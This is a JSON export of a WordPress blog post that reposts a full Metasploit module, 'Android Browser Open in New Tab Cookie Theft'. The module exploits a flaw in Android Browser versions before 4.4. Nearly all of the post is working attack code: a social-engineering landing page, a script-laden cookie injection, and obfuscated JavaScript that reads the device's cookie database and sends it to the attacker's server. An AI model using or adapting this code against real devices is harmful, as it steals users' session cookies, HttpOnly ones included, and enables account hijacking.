{"id":59289,"date":"2024-08-31T22:30:20","date_gmt":"2024-08-31T19:30:20","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/180628\/android_browser_new_tab_cookie_theft.rb.txt"},"modified":"2024-08-31T22:30:20","modified_gmt":"2024-08-31T19:30:20","slug":"android-browser-open-in-new-tab-cookie-theft","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/android-browser-open-in-new-tab-cookie-theft\/","title":{"rendered":"Android Browser Open in New Tab Cookie Theft"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Auxiliary<br \/>include Msf::Exploit::Remote::HttpServer::HTML<br \/>include Msf::Auxiliary::Report<br \/>include Msf::Exploit::JSObfu<\/p>\n<p>def initialize(info={})<br \/>super(update_info(info,<br \/>&#8216;Name&#8217; =&gt; &#8216;Android Browser &#8220;Open in New Tab&#8221; Cookie Theft&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>In Android&#8217;s stock AOSP Browser application and WebView component, the<br \/>&#8220;open in new tab&#8221; functionality allows a file URL to be opened. On<br \/>versions of Android before 4.4, the path to the sqlite cookie<br \/>database could be specified. By saving a cookie containing a &lt;script&gt;<br \/>tag and then loading the sqlite database into the browser as an HTML file,<br \/>XSS can be achieved inside the cookie file, disclosing *all* cookies<br \/>(HttpOnly or not) to an attacker.<br \/>},<br \/>&#8216;Author&#8217; =&gt; [<br \/>&#8216;Rafay Baloch&#8217;, # Discovery of &#8220;Open in new tab&#8221; bug<br \/>&#8216;joev&#8217; # Cookie theft vector, msf module<br \/>],<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;Actions&#8217; =&gt; [[ &#8216;WebServer&#8217;, &#8216;Description&#8217; =&gt; &#8216;Serve exploit via web server&#8217; ]],<br \/>&#8216;PassiveActions&#8217; =&gt; [ &#8216;WebServer&#8217; ],<br \/>&#8216;References&#8217; =&gt;<br \/>[<br \/># the patch, released against 4.3 AOSP in February 2014<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/android.googlesource.com\/platform\/packages\/apps\/Browser\/+\/d2391b492dec778452238bc6d9d549d56d41c107%5E%21\/#F0&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;http:\/\/www.rafayhackingarticles.net\/2014\/12\/android-browser-cross-scheme-data.html&#8217;]],<br \/>&#8216;DefaultAction&#8217; =&gt; &#8216;WebServer&#8217;<br \/>))<\/p>\n<p>register_options([<br \/>OptString.new(&#8216;COOKIE_FILE&#8217;, [<br \/>true,<br \/>&#8216;The cookie file (on older 2.x devices this is &#8220;webview.db&#8221;)&#8217;,<br \/>&#8216;webviewCookiesChromium.db&#8217;<br \/>])<br \/>])<br \/>end<\/p>\n<p>def on_request_uri(cli, request)<br \/>if request.method =~ \/POST\/i<br \/>print_status(&#8220;Processing exfilrated files&#8230;&#8221;)<br \/>process_post(cli, request)<br \/>send_response_html(cli, &#8221;)<br \/>elsif request.uri =~ \/\\.js$\/i<br \/>print_status(&#8220;Sending exploit javascript&#8221;)<br \/>send_response(cli, exfiltration_js, &#8216;Content-type&#8217; =&gt; &#8216;text\/javascript&#8217;)<br \/>else<br \/>print_status(&#8220;Sending exploit landing page&#8230;&#8221;)<br \/>send_response_html(cli, landing_page_html)<br \/>end<br \/>end<\/p>\n<p>def process_post(cli, request)<br \/>data = hex2bin(request.body)<br \/>print_good &#8220;Cookies received: #{request.body.length.to_f\/1024}kb&#8221;<br \/>loot_path = store_loot(<br \/>&#8220;android.browser.cookies&#8221;,<br \/>&#8216;application\/x-sqlite3&#8217;,<br \/>cli.peerhost,<br \/>data,<br \/>&#8216;cookies.sqlite&#8217;,<br \/>&#8220;#{cli.peerhost.ljust(16)} Android browser cookie database&#8221;<br \/>)<br \/>print_good &#8220;SQLite cookie database saved to:\\n#{loot_path}&#8221;<br \/>end<\/p>\n<p>def run<br \/>exploit<br \/>end<\/p>\n<p>def landing_page_html<br \/>%Q|<br \/>&lt;!doctype html&gt;<br \/>&lt;html&gt;<br \/>&lt;head&gt;&lt;meta name=&#8221;viewport&#8221; content=&#8221;width=device-width, user-scalable=no&#8221; \/&gt;&lt;\/head&gt;<br \/>&lt;body style=&#8217;width:100%;font-size: 16px;&#8217;&gt;<br \/>&lt;a href=&#8217;file:\/\/#{cookie_path(datastore[&#8216;COOKIE_FILE&#8217;])}##{Rex::Text.encode_base64(exfiltration_js)}&#8217;&gt;<br \/>Redirecting&#8230; To continue, tap and hold here, then choose &#8220;Open in a new tab&#8221;<br \/>&lt;\/a&gt;<br \/>&lt;script&gt;<br \/>#{inline_script}<br \/>&lt;\/script&gt;<br \/>&lt;\/body&gt;<br \/>&lt;\/html&gt;<br \/>|<br \/>end<\/p>\n<p>def exfiltration_js<br \/>js_obfuscate %Q|<br \/>var x = new XMLHttpRequest();<br \/>x.open(&#8216;GET&#8217;, &#8221;);<br \/>x.responseType = &#8216;arraybuffer&#8217;;<br \/>x.onreadystatechange = function(){<br \/>if (x.readyState == 4) {<br \/>var buff = new Uint8Array(x.response);<br \/>var hex = Array.prototype.map.call(buff, function(d){<br \/>var c = d.toString(16);<br \/>return (c.length &lt; 2) ? &#8216;0&#8217;+c : c;<br \/>}).join(&#8221;);<br \/>var x2 = new XMLHttpRequest();<br \/>x2.open(&#8216;POST&#8217;, &#8216;#{get_uri}\/&#8217;);<br \/>x2.setRequestHeader(&#8216;Content-type&#8217;, &#8216;text\/plain&#8217;);<br \/>x2.send(hex);<br \/>}<br \/>};<br \/>x.send();<\/p>\n<p>|<br \/>end<\/p>\n<p>def inline_script<br \/>%Q|<br \/>document.cookie=&#8217;#{per_run_token}=&lt;script&gt;eval(atob(location.hash.slice(1)))&lt;\\\\\/script&gt;&#8217;;<br \/>|<br \/>end<\/p>\n<p>def cookie_path(file=&#8221;)<br \/>&#8216;\/data\/data\/com.android.browser\/databases\/&#8217; + file<br \/>end<\/p>\n<p># TODO: Make this a proper Rex::Text function<br \/>def hex2bin(hex)<br \/>hex.chars.each_slice(2).map(&amp;:join).map { |c| c.to_i(16) }.map(&amp;:chr).join<br \/>end<\/p>\n<p>def per_run_token<br \/>@token ||= Rex::Text.rand_text_alpha(rand(2)+1)<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Auxiliaryinclude Msf::Exploit::Remote::HttpServer::HTMLinclude Msf::Auxiliary::Reportinclude Msf::Exploit::JSObfu def initialize(info={})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;Android Browser &#8220;Open in New Tab&#8221; Cookie Theft&#8217;,&#8216;Description&#8217; =&gt; %q{In Android&#8217;s stock AOSP Browser application and WebView component, the&#8220;open in new tab&#8221; functionality allows a file URL to be opened. Onversions of Android before 4.4, the &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59289","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59289","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59289"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59289\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59289"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59289"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59289"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}